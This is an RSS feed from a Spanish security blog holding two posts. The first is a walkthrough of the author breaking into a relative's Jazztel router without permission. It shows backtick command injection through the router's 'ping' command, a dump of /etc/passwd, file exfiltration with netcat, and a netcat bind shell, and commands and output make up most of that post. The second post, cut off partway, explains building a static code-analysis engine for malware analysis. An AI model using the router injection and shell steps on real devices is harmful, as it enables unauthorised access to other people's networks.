<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>48Bits Blog</title>
	<atom:link href="http://blog.48bits.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.48bits.com</link>
	<description>48Bits ... The one and a half architecture land.</description>
	<lastBuildDate>Wed, 02 May 2012 08:56:54 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Grasias por la WiFi primo!</title>
		<link>http://blog.48bits.com/2012/05/02/grasias-por-la-wifi-prim/</link>
		<comments>http://blog.48bits.com/2012/05/02/grasias-por-la-wifi-prim/#comments</comments>
		<pubDate>Wed, 02 May 2012 08:40:53 +0000</pubDate>
		<dc:creator>Gabriel Gonzalez</dc:creator>
				<category><![CDATA[Noticias]]></category>

		<guid isPermaLink="false">http://blog.48bits.com/?p=2082</guid>
		<description><![CDATA[EDIT: El router es un Comtrend AR-5381u distribuido por Jazztel Nota: Esta es una historia real basada en hechos ficticios Estaba un día trabajando en casa de mi primo y necesitaba acceso a la internet, por lo que obviamente le pedí la clave de la WiFi y de muy buena gana me la proporcionó, a [...]]]></description>
			<content:encoded><![CDATA[<p><strong>EDIT: El router es un Comtrend AR-5381u distribuido por Jazztel</strong></p>
<p><em>Nota: Esta es una historia real basada en hechos ficticios</em></p>
<p>Estaba un día trabajando en casa de mi primo y necesitaba acceso a la internet, por lo que obviamente le pedí la clave de la WiFi y de muy buena gana me la proporcionó, a lo cuál le agradecí su tan generoso gesto.</p>
<p>Para proseguir con mi actividad productiva necesitaba redirigir un puerto hacia mi máquina así que, dado que las cualidades técnicas de mi primo no van mas allá del facebook, decidí hacerlo sin preguntar y aquí comienza realmente la historia.</p>
<p><span id="more-2082"></span></p>
<p>Me conecté al Router y comencé a probar las N combinaciones de cuentas de administrador que me conocía y alguna más que busqué por la web:</p>
<div class="dean_ch" style="white-space: wrap;">$ telnet 192.168.0.1<br />
Trying 192.168.0.1&#8230;<br />
Connected to 192.168.0.1.<br />
Escape character is &#8216;^]&#8217;.<br />
BCM96328 Broadband Router<br />
Login: admin<br />
Password:<br />
Login incorrect. Try again.<br />
Login: admin<br />
Password:<br />
Login incorrect. Try again.<br />
Login: 1234<br />
Password:<br />
Authorization failed after trying 3 times!!!.</div>
<p>Sin resultado satisfactorio, me dirigí a mi primo con la oreja gacha herido en el orgullo hacker para preguntarle el usuario y contraseña, a lo cual me respondió con un &#8220;no se de que me hablas&#8221;. Perfecto, estaba apunto de arruinar un día entero de trabajo&#8230;</p>
<p>El siguiente paso fue intentar escalar privilegios desde una cuenta de usuario para consultar, por suerte éste router tenía la contraseña por defecto user/user habilitada, pero obviamente no permitía cambiar ningún parámetro, primero los pasos básicos para obtener shell de alguna manera:</p>
<div class="dean_ch" style="white-space: wrap;">$ telnet 192.168.0.1<br />
Trying 192.168.0.1&#8230;<br />
Connected to 192.168.0.1.<br />
Escape character is &#8216;^]&#8217;.<br />
BCM96328 Broadband Router<br />
Login: user<br />
Password:<br />
&nbsp;&gt; ?<br />
?<br />
help<br />
logout<br />
exit<br />
quit<br />
reboot<br />
dnsproxy<br />
ping<br />
lanhosts<br />
passwd<br />
restoredefault<br />
save<br />
swversion<br />
uptime<br />
cfgupdate<br />
swupdate<br />
exitOnIdle<br />
wan<br />
build<br />
version<br />
serialnumber<br />
&nbsp;&gt; sh<br />
telnetd:error:607.372:processInput:380:unrecognized command sh<br />
&nbsp;&gt; version &amp;&amp; sh<br />
Warning: operator &amp; is not supported!<br />
A731-410JAZ-C05_R01.A2pD035g.d23i<br />
&nbsp;&gt; version ; sh<br />
Warning: operator ; is not supported!<br />
A731-410JAZ-C05_R01.A2pD035g.d23i<br />
&nbsp;&gt;</div>
<p>Vaya por dios, parece que se han tomado en serio la seguridad los que han hecho esta versión de firmware! Pensemos durante unos segundos qué más podríamos probar:</p>
<div class="dean_ch" style="white-space: wrap;"> &gt; `sh`<br />
telnetd:error:790.629:processInput:380:unrecognized command `sh`<br />
&nbsp;&gt; `echo`<br />
telnetd:error:793.334:processInput:380:unrecognized command `echo`<br />
&nbsp;&gt; ping `echo ls`<br />
ping: ls: Unknown host<br />
&nbsp;&gt;</div>
<p>Bingo! Parece que tenemos una manera de ejecutar comandos, sigamos jugando un poco más:</p>
<div class="dean_ch" style="white-space: wrap;">
&nbsp;&gt; ping `ls`<br />
ping: bin: Unknown host<br />
&nbsp;&gt; ping `ls /`<br />
ping: bin: Unknown host<br />
&nbsp;&gt; ping `ls /etc`<br />
ping: adsl: Unknown host<br />
&nbsp;&gt; ping `ls /etc/passwd`<br />
ping: /etc/passwd: Unknown host<br />
&nbsp;&gt; ping `cat /etc/passwd`<br />
ping: admin:XX.YUYYEYE.ER.s:0:0:Administrator:/:/bin/sh: Unknown host<br />
&nbsp;&gt;</div>
<p>Perfecto, ya tenemos la clave de admin que era lo que necesitábamos; después de preguntar a nuestro amigo John pude redirigir el puerto que necesitaba. Pero ya quee no parece tener la shell disponible facilmente seguí un vistazo a ver qué podemos sacar desde la cuenta de admin.<br />
Como se puede ver a continuación, tiene mucho más comandos, en concreto me llama la atención el comando echo:</p>
<div class="dean_ch" style="white-space: wrap;">
$ telnet 192.168.0.1<br />
Trying 192.168.0.1&#8230;<br />
Connected to 192.168.0.1.<br />
Escape character is &#8216;^]&#8217;.<br />
BCM96328 Broadband Router<br />
Login: admin<br />
Password:<br />
&nbsp;&gt; ?<br />
?<br />
help<br />
logout<br />
exit<br />
quit<br />
reboot<br />
adsl<br />
xdslctl<br />
xtm<br />
brctl<br />
loglevel<br />
logdest<br />
virtualserver<br />
ddns<br />
df<br />
dumpcfg<br />
dumpmdm<br />
meminfo<br />
psp<br />
kill<br />
dumpsysinfo<br />
dnsproxy<br />
syslog<br />
echo<br />
ifconfig<br />
ping<br />
ps<br />
pwd<br />
sntp<br />
sysinfo<br />
tftp<br />
wlctl<br />
arp<br />
defaultgateway<br />
dhcpserver<br />
dns<br />
lan<br />
lanhosts<br />
passwd<br />
ppp<br />
restoredefault<br />
route<br />
save<br />
swversion<br />
uptime<br />
cfgupdate<br />
swupdate<br />
exitOnIdle<br />
wan<br />
build<br />
version<br />
serialnumber<br />
&nbsp;&gt; echo `ls /`<br />
bin data dev etc lib linuxrc mnt opt proc sbin sys tmp usr var webs<br />
&nbsp;&gt; echo `cat /etc/passwd`<br />
admin:XX.YUYYEYE.ER.s:0:0:Administrator:/:/bin/sh support:XX.YUYYEYE.ER.s:0:0:Technical Support:/:/bin/sh user:XX.YUYYEYE.ER.s:0:0:Normal User:/:/bin/sh ftpuser:XX.YUYYEYE.ER.s:0:0:user for ftp:/:/bin/sh nobody:XX.YUYYEYE.ER.s:0:0:nobody for ftp:/:/bin/sh</div>
<p>&nbsp;</p>
<p>Con el comando echo podemos ver la salida completa de los comandos ejecutados! Exploremos a ver que tiene este dispositivo:</p>
<div class="dean_ch" style="white-space: wrap;">
&nbsp;&gt; echo `ls /usr/bin`<br />
[ expr ftpget killall logger md5sum nc test tftp top tty wget<br />
&nbsp;&gt;</div>
<p>Wow, hay un nc por ahí! Podremos usarlo para copiar ficheros dentro y fuera del mismo? Además tenemos un md5sum que nos viene perfecto para ver si la copia ha sido satisfactoria. Probemos con el binario /bin/httpd:</p>
<div class="dean_ch" style="white-space: wrap;">
&nbsp;&gt; echo `ls /bin/httpd`<br />
/bin/httpd<br />
&nbsp;&gt; echo `/usr/bin/nc`<br />
BusyBox v1.00 (2011.10.28-05:10+0000) multi-call binary</p>
<p>Usage: nc [OPTIONS] [IP] [port]</p>
<p>Netcat opens a pipe to IP:port</p>
<p>Options:<br />
&nbsp; &nbsp; &nbsp; &nbsp; -l &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;listen mode, for inbound connects<br />
&nbsp; &nbsp; &nbsp; &nbsp; -p PORT &nbsp; &nbsp; &nbsp; &nbsp; local port number<br />
&nbsp; &nbsp; &nbsp; &nbsp; -i SECS &nbsp; &nbsp; &nbsp; &nbsp; delay interval for lines sent<br />
&nbsp; &nbsp; &nbsp; &nbsp; -e PROG &nbsp; &nbsp; &nbsp; &nbsp; program to exec after connect (dangerous!)</p>
<p>&nbsp;&gt; echo `cat /bin/httpd | /usr/bin/nc 192.168.0.8 3333`<br />
&nbsp;&gt; echo `/usr/bin/md5sum /bin/httpd`<br />
12b41761c640455b87038fb32f49334e /bin/httpd<br />
&nbsp;&gt;</div>
<p>Comprobando en mi PC:</p>
<div class="dean_ch" style="white-space: wrap;">~/tmp$ nc -l 192.168.0.8 3333 &gt; httpd<br />
~/tmp$ md5sum httpd<br />
12b41761c640455b87038fb32f49334e &nbsp;httpd<br />
~/tmp$</div>
<p>Funciona perfectamente! Probemos a enviar un fichero&#8230;</p>
<div class="dean_ch" style="white-space: wrap;">~/tmp$ cat | nc 192.168.0.1 3333<br />
#!/bin/sh<br />
echo &quot;w00w00&quot;<br />
~/tmp$</div>
<p>Y en el router:</p>
<div class="dean_ch" style="white-space: wrap;">
&nbsp;&gt; echo `/usr/bin/nc -l -p 3333 &gt; /tmp/test.sh`</p>
<p>&nbsp;&gt; echo `sh /tmp/test.sh`<br />
w00w00<br />
&nbsp;&gt;</div>
<p>Ya que tenemos el nc y que andar ejecutando comando a golpe de echo es un poco coñazo, una reverse shell nos vendría de lujo! Let&#8217;s try it, primero ponemos a escuchar el nc en el router:</p>
<div class="dean_ch" style="white-space: wrap;"> &gt; echo `/usr/bin/nc -l -p 3333 -e /bin/sh`</div>
<p>Y después nos conectamos desde el PC:</p>
<div class="dean_ch" style="white-space: wrap;">~/tmp$ nc 192.168.0.1 3333<br />
ls /<br />
bin<br />
data<br />
dev<br />
etc<br />
lib<br />
linuxrc<br />
mnt<br />
opt<br />
proc<br />
sbin<br />
sys<br />
tmp<br />
usr<br />
var<br />
webs<br />
ls /tmp<br />
/tmp<br />
cd /tmp<br />
ls<br />
bootupmessages<br />
test.sh<br />
cat test.sh<br />
#!/bin/sh<br />
echo &quot;w00w00&quot;</div>
<p>Yeah! Pues nada, ahí tenemos control total de manera remota y ya podemos seguir jugando más comodamente, aunque eso será para otra entrada en el blog!</p>
<p>No me sigas por la calle! Sígueme por el twitter <a href="http://www.twitter.com/gabrielgonzalez">http://www.twitter.com/gabrielgonzalez</a></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.48bits.com/2012/05/02/grasias-por-la-wifi-prim/feed/</wfw:commentRss>
		<slash:comments>14</slash:comments>
		</item>
		<item>
		<title>Problemas del análisis de código</title>
		<link>http://blog.48bits.com/2012/01/19/problemas-del-analisis-de-codigo/</link>
		<comments>http://blog.48bits.com/2012/01/19/problemas-del-analisis-de-codigo/#comments</comments>
		<pubDate>Thu, 19 Jan 2012 11:31:59 +0000</pubDate>
		<dc:creator>matalaz</dc:creator>
				<category><![CDATA[Noticias]]></category>

		<guid isPermaLink="false">http://blog.48bits.com/?p=2016</guid>
		<description><![CDATA[Aupa, En este post os voy a hablar un poco de como he escrito un motor de análisis de código para x86 y x86_64, de los problemas que me he encontrado y de como he intentado solucionarlos (los que he arreglado, vamos&#8230;). Hace ya algún tiempo que comencé con un proyecto llamado Pyew (similar al [...]]]></description>
			<content:encoded><![CDATA[<p>Aupa,</p>
<p>En este post os voy a hablar un poco de como he escrito un motor de análisis de código para x86 y x86_64, de los problemas que me he encontrado y de como he intentado solucionarlos (los que he arreglado, vamos&#8230;).</p>
<p>Hace ya algún tiempo que comencé con un proyecto llamado <a href="http://pyew.googlecode.com" target="_blank">Pyew</a> (similar al todo poderoso <a href="http://radare.org" target="_blank">radare</a>) el cual está pensado, principalmente, para análisis de baterías de malware. Se podría utilizar el IDA para ello pero, en ocasiones, esta herramienta es un poco pesada y, además, requiere una licencia (no muy barata, por cierto) que no todo el mundo tiene.</p>
<p><span id="more-2016"></span></p>
<p><strong>Comienzo</strong></p>
<p>Al lío. Para hacer un reemplazo ligero del IDA para analizar malware se necesitan como mínimo 3 cosas:</p>
<ol>
<li>Un cargador de formatos de ficheros: Para PE, ELF, Mach-O o lo que sea que te interese. En mi caso he utilizado Python PEFile para PEs y VTrace para ELFs.</li>
<li>Un desensamblador para el procesador: En mi caso, elegí Distorm64 (la versión 2) ya que tiene buen soporte para Python y soporta código x86 de 16, 32 y 64 bits.</li>
<li>Un motor de análisis de código: Esta es la pieza clave que no pude &#8216;coger de por ahí&#8217; fácilmente, sino que me la tendría que escribir desde &#8220;0&#8243; (bueno, la verdad es que se podría utilizar radare, pero preferí escribirlo por mi cuenta y aprender algo de paso).</li>
</ol>
<p><strong>Análisis de código</strong></p>
<div>Análisis de código es el proceso por el cual descubrimos las funciones, los bloques básicos de las que se componen así como las relaciones entre las mismas. Vale, ¿Y qué es un bloque básico? Un conjunto de instrucciones seguidas hasta un salto condicional (no es exactamente así, pero de momento nos quedamos con esta idea). Explicado esto ¿Cómo se realiza análisis de código de un binario para descubrir funciones, bloques básicos, etc&#8230;? Lo primero, hay que saber desde donde empezar a buscar código, desensamblar linealmente desde cada uno de los puntos de entrada hasta encontrar un salto condicional, el cual demarcará cual es el final del bloque básico, y seguir analizando todos los caminos posibles hasta que todas las rutas de código se agoten. Pongamos un ejemplo:</div>
<p>&nbsp;</p>
<div class="dean_ch" style="white-space: wrap;">0x0000a950 <span class="kw1">TEST</span> RDI, RDI<br />
0x0000a953 <span class="kw1">PUSH</span> RBX<br />
0x0000a954 <span class="kw1">MOV</span> RBX, RDI<br />
0x0000a957 <span class="kw1">JZ</span> 0x0000a9c3 <span class="co1">; 1</span><br />
0x0000a957 &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
0x0000a959 <span class="kw1">MOV</span> <span class="kw3">ESI</span>, 0x2f<br />
0x0000a95e <span class="kw1">CALL</span> 0&#215;00002410 <span class="co1">; 2</span><br />
<span class="br0">&#40;</span>&#8230;hace sus cositas&#8230;<span class="br0">&#41;</span><br />
0x0000a9c3 <span class="kw1">POP</span> RBX<br />
0x0000a9c4 <span class="kw1">RET</span><br />
0x0000a9c4 &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</div>
<p>En este caso, la función que estamos analizando, comienza en la instrucción TEST, en 0xa950 y el bloque básico acaba en el primer salto condicional, en la instrucción JZ (en 0xa957). Ahora tenemos 2 posibles caminos que tomar: en caso de que la condición se cumpla (saltando a 0xa9c3) y el caso contrario, en el cual continuaría con la siguiente instrucción. ¿Cuándo terminaríamos de analizar esta función? Cuando llegamos a la instrucción RET, en 0xa9c4, que es donde acaba el último basic block y ya la función (porque no hay más caminos posibles que seguir).</p>
<div id="attachment_2058" class="wp-caption aligncenter" style="width: 310px"><a href="http://blog.48bits.com/wp-content/uploads/2012/01/grafo1.png"><img class="size-medium wp-image-2058" title="Grafo de la función" src="http://blog.48bits.com/wp-content/uploads/2012/01/grafo1-300x264.png" alt="" width="300" height="264" /></a><p class="wp-caption-text">Grafo de la sencilla función comentada</p></div>
<p>Mientras vamos siguiendo el flujo del programa descubriendo nuevas rutas de código, guardamos las llamadas a función, las ponemos en una lista y, al acabar con la función actual, se continúa con las funciones (direcciones) que se hayan encontrado. Hasta aquí todo muy bien y muy fácil. ¿Y con esto se descubren todas las funciones y todos los bloques básicos de una función? Ni mucho menos.</p>
<p><strong>Bloques básicos</strong></p>
<p>Antes había dicho que un bloque básico de una función es un conjunto de instrucciones seguidas hasta un salto condicional, no? Bueno, pues no exactamente. Pongamos un ejemplo fácil:</p>
<div class="dean_ch" style="white-space: wrap;">0x000003c5 <span class="kw1">MOV</span> <span class="kw3">EBP</span>, <span class="kw3">ESP</span><br />
0x000003c7 <span class="kw1">SUB</span> <span class="kw3">ESP</span>, 0&#215;28<br />
0x000003ca <span class="kw1">MOV</span> <span class="kw5">DWORD</span> <span class="br0">&#91;</span>EBP-0xc<span class="br0">&#93;</span>, 0&#215;0<br />
0x000003d1 <span class="kw1">JMP</span> 0x000003ef <span class="co1">; 1</span><br />
0x000003d1 &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
0x000003d3 <span class="kw1">ADD</span> <span class="kw5">DWORD</span> <span class="br0">&#91;</span>EBP-0xc<span class="br0">&#93;</span>, 0&#215;1<br />
0x000003d7 <span class="kw1">MOV</span> <span class="kw3">EAX</span>, 0x80484d0<br />
0x000003dc <span class="kw1">MOV</span> <span class="kw3">EDX</span>, <span class="br0">&#91;</span>EBP-0xc<span class="br0">&#93;</span><br />
0x000003df <span class="kw1">MOV</span> <span class="br0">&#91;</span><span class="kw3">ESP</span>+0&#215;4<span class="br0">&#93;</span>, <span class="kw3">EDX</span><br />
0x000003e3 <span class="kw1">MOV</span> <span class="br0">&#91;</span><span class="kw3">ESP</span><span class="br0">&#93;</span>, <span class="kw3">EAX</span><br />
0x000003e6 <span class="kw1">CALL</span> 0x000002f4 <span class="co1">; 2 j_printf</span><br />
0x000003eb <span class="kw1">ADD</span> <span class="kw5">DWORD</span> <span class="br0">&#91;</span>EBP-0xc<span class="br0">&#93;</span>, 0&#215;1<br />
0x000003ef &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
0x000003ef <span class="kw1">CMP</span> <span class="kw5">DWORD</span> <span class="br0">&#91;</span>EBP-0xc<span class="br0">&#93;</span>, 0&#215;9<br />
0x000003f3 <span class="kw1">JLE</span> 0x000003d3 <span class="co1">; 3</span><br />
0x000003f3 &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
0x000003f5 <span class="kw1">LEAVE</span><br />
0x000003f6 <span class="kw1">RET</span></div>
<p>En este caso, en el primer bloque básico llegamos a un salto incondicional (JMP) y, siguiendo ese salto, encontramos después un salto condicional (JLE) a la dirección 0x3d3.  Las instrucciones desde 0x3c5 hasta 0x3d1 y 0x3ef a 0x3f3 no forman un único bloque básico, por una razón: un bloque básico solo puede tener un único punto de entrada. Así pues, lo que inicialmente creíamos que es un bloque básico hay que separarlo en piezas más pequeñas, de modo que cada bloque tenga solo un único punto de entrada (no así de salida). El grafo de flujo para esta función quedaría como sigue:</p>
<div id="attachment_2059" class="wp-caption aligncenter" style="width: 310px"><a href="http://blog.48bits.com/wp-content/uploads/2012/01/grafo2.png"><img class="size-medium wp-image-2059" title="grafo2" src="http://blog.48bits.com/wp-content/uploads/2012/01/grafo2-300x231.png" alt="" width="300" height="231" /></a><p class="wp-caption-text">Grafo de la función con bloques básicos que no cumplen la lóǵica explicada inicialmente.</p></div>
<p>Ahora ya sabemos como tiene que ser un bloque básico correctamente y, teniendo en cuenta esto, ¿Tendríamos ya un motor de análisis de código funcional? Ni mucho menos.</p>
<p><strong>Punteros a función</strong></p>
<p>Los punteros a función son un quebradero de cabeza a la hora de analizar código estáticamente para encontrar funciones. ¿Porqué? Pongamos un ejemplo con el siguiente código en C:</p>
<div class="dean_ch" style="white-space: wrap;"><span class="kw4">int</span> func<span class="br0">&#40;</span><span class="kw4">int</span> i<span class="br0">&#41;</span><br />
<span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot;Number of arguments: %d<span class="es0">\n</span>&quot;</span>, i<span class="br0">&#41;</span>;<br />
<span class="br0">&#125;</span></p>
<p><span class="kw4">void</span> foo<span class="br0">&#40;</span><span class="kw4">int</span> <span class="br0">&#40;</span>*f<span class="br0">&#41;</span><span class="br0">&#40;</span><span class="kw4">int</span><span class="br0">&#41;</span>, <span class="kw4">int</span> val<span class="br0">&#41;</span><br />
<span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span> f != <span class="kw2">NULL</span> <span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; f<span class="br0">&#40;</span>val<span class="br0">&#41;</span>;<br />
<span class="br0">&#125;</span></p>
<p><span class="kw4">int</span> main<span class="br0">&#40;</span><span class="kw4">int</span> argc, <span class="kw4">char</span> **argv<span class="br0">&#41;</span><br />
<span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; foo<span class="br0">&#40;</span>&amp;amp;func, argc<span class="br0">&#41;</span>;<br />
<span class="br0">&#125;</span></div>
<p>Si compilamos este código (con GCC en mi caso) se generará el siguiente código ensamblador:</p>
<div class="dean_ch" style="white-space: wrap;">0x000003c4 <span class="co1">; FUNCTION func</span><br />
0x000003c4 <span class="br0">&#40;</span><span class="nu0">01</span><span class="br0">&#41;</span> <span class="kw1">PUSH</span> <span class="kw3">EBP</span><br />
0x000003c5 <span class="br0">&#40;</span><span class="nu0">02</span><span class="br0">&#41;</span> <span class="kw1">MOV</span> <span class="kw3">EBP</span>, <span class="kw3">ESP</span><br />
0x000003c7 <span class="br0">&#40;</span><span class="nu0">03</span><span class="br0">&#41;</span> <span class="kw1">SUB</span> <span class="kw3">ESP</span>, 0&#215;18<br />
0x000003ca <span class="br0">&#40;</span><span class="nu0">05</span><span class="br0">&#41;</span> <span class="kw1">MOV</span> <span class="kw3">EAX</span>, 0x80484e0 <span class="co1">; &#8216;Number of arguments: %d\n&#8217;</span><br />
0x000003cf <span class="br0">&#40;</span><span class="nu0">03</span><span class="br0">&#41;</span> <span class="kw1">MOV</span> <span class="kw3">EDX</span>, <span class="br0">&#91;</span><span class="kw3">EBP</span>+0&#215;8<span class="br0">&#93;</span><br />
0x000003d2 <span class="br0">&#40;</span><span class="nu0">04</span><span class="br0">&#41;</span> <span class="kw1">MOV</span> <span class="br0">&#91;</span><span class="kw3">ESP</span>+0&#215;4<span class="br0">&#93;</span>, <span class="kw3">EDX</span><br />
0x000003d6 <span class="br0">&#40;</span><span class="nu0">03</span><span class="br0">&#41;</span> <span class="kw1">MOV</span> <span class="br0">&#91;</span><span class="kw3">ESP</span><span class="br0">&#93;</span>, <span class="kw3">EAX</span><br />
0x000003d9 <span class="br0">&#40;</span><span class="nu0">05</span><span class="br0">&#41;</span> <span class="kw1">CALL</span> 0x000002f4 <span class="co1">; 1 j_printf</span><br />
0x000003de <span class="br0">&#40;</span><span class="nu0">01</span><span class="br0">&#41;</span> <span class="kw1">LEAVE</span><br />
0x000003df <span class="br0">&#40;</span><span class="nu0">01</span><span class="br0">&#41;</span> <span class="kw1">RET</span><br />
<span class="br0">&#40;</span>&#8230;<span class="br0">&#41;</span><br />
0x000003f9 <span class="co1">; FUNCTION main</span><br />
0x000003f9 <span class="br0">&#40;</span><span class="nu0">01</span><span class="br0">&#41;</span> <span class="kw1">PUSH</span> <span class="kw3">EBP</span><br />
0x000003fa <span class="br0">&#40;</span><span class="nu0">02</span><span class="br0">&#41;</span> <span class="kw1">MOV</span> <span class="kw3">EBP</span>, <span class="kw3">ESP</span><br />
0x000003fc <span class="br0">&#40;</span><span class="nu0">03</span><span class="br0">&#41;</span> <span class="kw1">AND</span> <span class="kw3">ESP</span>, -0&#215;10<br />
0x000003ff <span class="br0">&#40;</span><span class="nu0">03</span><span class="br0">&#41;</span> <span class="kw1">SUB</span> <span class="kw3">ESP</span>, 0&#215;10<br />
0&#215;00000402 <span class="br0">&#40;</span><span class="nu0">03</span><span class="br0">&#41;</span> <span class="kw1">MOV</span> <span class="kw3">EAX</span>, <span class="br0">&#91;</span><span class="kw3">EBP</span>+0&#215;8<span class="br0">&#93;</span><br />
0&#215;00000405 <span class="br0">&#40;</span><span class="nu0">04</span><span class="br0">&#41;</span> <span class="kw1">MOV</span> <span class="br0">&#91;</span><span class="kw3">ESP</span>+0&#215;4<span class="br0">&#93;</span>, <span class="kw3">EAX</span><br />
0&#215;00000409 <span class="br0">&#40;</span><span class="nu0">07</span><span class="br0">&#41;</span> <span class="kw1">MOV</span> <span class="kw5">DWORD</span> <span class="br0">&#91;</span><span class="kw3">ESP</span><span class="br0">&#93;</span>, 0x80483c4 <span class="co1">; func</span><br />
0&#215;00000410 <span class="br0">&#40;</span><span class="nu0">05</span><span class="br0">&#41;</span> <span class="kw1">CALL</span> 0x000003e0 <span class="co1">; 1 foo</span><br />
0&#215;00000415 <span class="br0">&#40;</span><span class="nu0">01</span><span class="br0">&#41;</span> <span class="kw1">LEAVE</span><br />
0&#215;00000416 <span class="br0">&#40;</span><span class="nu0">01</span><span class="br0">&#41;</span> <span class="kw1">RET</span><br />
<span class="br0">&#40;</span>&#8230;<span class="br0">&#41;</span><br />
0x000003e0 <span class="co1">; FUNCTION foo</span><br />
0x000003e0 <span class="br0">&#40;</span><span class="nu0">01</span><span class="br0">&#41;</span> <span class="kw1">PUSH</span> <span class="kw3">EBP</span><br />
0x000003e1 <span class="br0">&#40;</span><span class="nu0">02</span><span class="br0">&#41;</span> <span class="kw1">MOV</span> <span class="kw3">EBP</span>, <span class="kw3">ESP</span><br />
0x000003e3 <span class="br0">&#40;</span><span class="nu0">03</span><span class="br0">&#41;</span> <span class="kw1">SUB</span> <span class="kw3">ESP</span>, 0&#215;18<br />
0x000003e6 <span class="br0">&#40;</span><span class="nu0">04</span><span class="br0">&#41;</span> <span class="kw1">CMP</span> <span class="kw5">DWORD</span> <span class="br0">&#91;</span><span class="kw3">EBP</span>+0&#215;8<span class="br0">&#93;</span>, 0&#215;0<br />
0x000003ea <span class="br0">&#40;</span><span class="nu0">02</span><span class="br0">&#41;</span> <span class="kw1">JZ</span> 0x000003f7 <span class="co1">; 1</span><br />
0x000003ea &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
0x000003ec <span class="br0">&#40;</span><span class="nu0">03</span><span class="br0">&#41;</span> <span class="kw1">MOV</span> <span class="kw3">EAX</span>, <span class="br0">&#91;</span><span class="kw3">EBP</span>+0xc<span class="br0">&#93;</span><br />
0x000003ef <span class="br0">&#40;</span><span class="nu0">03</span><span class="br0">&#41;</span> <span class="kw1">MOV</span> <span class="br0">&#91;</span><span class="kw3">ESP</span><span class="br0">&#93;</span>, <span class="kw3">EAX</span><br />
0x000003f2 <span class="br0">&#40;</span><span class="nu0">03</span><span class="br0">&#41;</span> <span class="kw1">MOV</span> <span class="kw3">EAX</span>, <span class="br0">&#91;</span><span class="kw3">EBP</span>+0&#215;8<span class="br0">&#93;</span><br />
0x000003f5 <span class="br0">&#40;</span><span class="nu0">02</span><span class="br0">&#41;</span> <span class="kw1">CALL</span> <span class="kw3">EAX</span><br />
0x000003f7 <span class="br0">&#40;</span><span class="nu0">01</span><span class="br0">&#41;</span> <span class="kw1">LEAVE</span><br />
0x000003f8 <span class="br0">&#40;</span><span class="nu0">01</span><span class="br0">&#41;</span> <span class="kw1">RET</span></div>
<p>Realmente, no tenemos ninguna ruta de código a esa función así que, siguiendo la lógica actual de nuestro motor, no encontraremos la función &#8220;func&#8221;. ¿Soluciones? Varias, una de ellas, la más compleja, es trackear los argumentos y sus valores (haciendo una especie de mini-emulación). Si una dirección es pasada como argumento a una función y después se ejecuta esa dirección, pues sabemos que es un puntero a función, así que esa dirección la metemos en la cola de direcciones a analizar y listo.</p>
<p>Sin embargo, esta solución tampoco es 100% correcta. ¿Porqué? Imaginemos que la función que se encarga de ejecutar el puntero que le pasamos está en una librería, no en el binario que estamos ejecutando: como no tenemos el código de la librería (no se encuentra en el binario que estamos analizando) no sabemos que hará con esa dirección que se le pasa. Mi solución para esto es la siguiente: cada  vez que se referencia una dirección a un segmento ejecutable, esta dirección la pongo en la cola para posterior análisis. De este modo, muchas funciones de este tipo se podrían descubrir.</p>
<p>Aún así, tenemos otro problema más: ¿Y si el puntero se calcula en ejecución? Pues estamos jodidos, básicamente. Podemos intentar otras soluciones, como la siguiente.</p>
<p><strong>Prólogos de función</strong></p>
<p>El modo más típico de búsqueda de funciones es la búsqueda de prólogos de función. Por ejemplo, para x86 (32 bits) el siguiente es un prólogo típico:</p>
<div class="dean_ch" style="white-space: wrap;"><span class="kw1">PUSH</span> <span class="kw3">EBP</span><br />
<span class="kw1">MOV</span> &nbsp;<span class="kw3">EBP</span>, <span class="kw3">ESP</span></div>
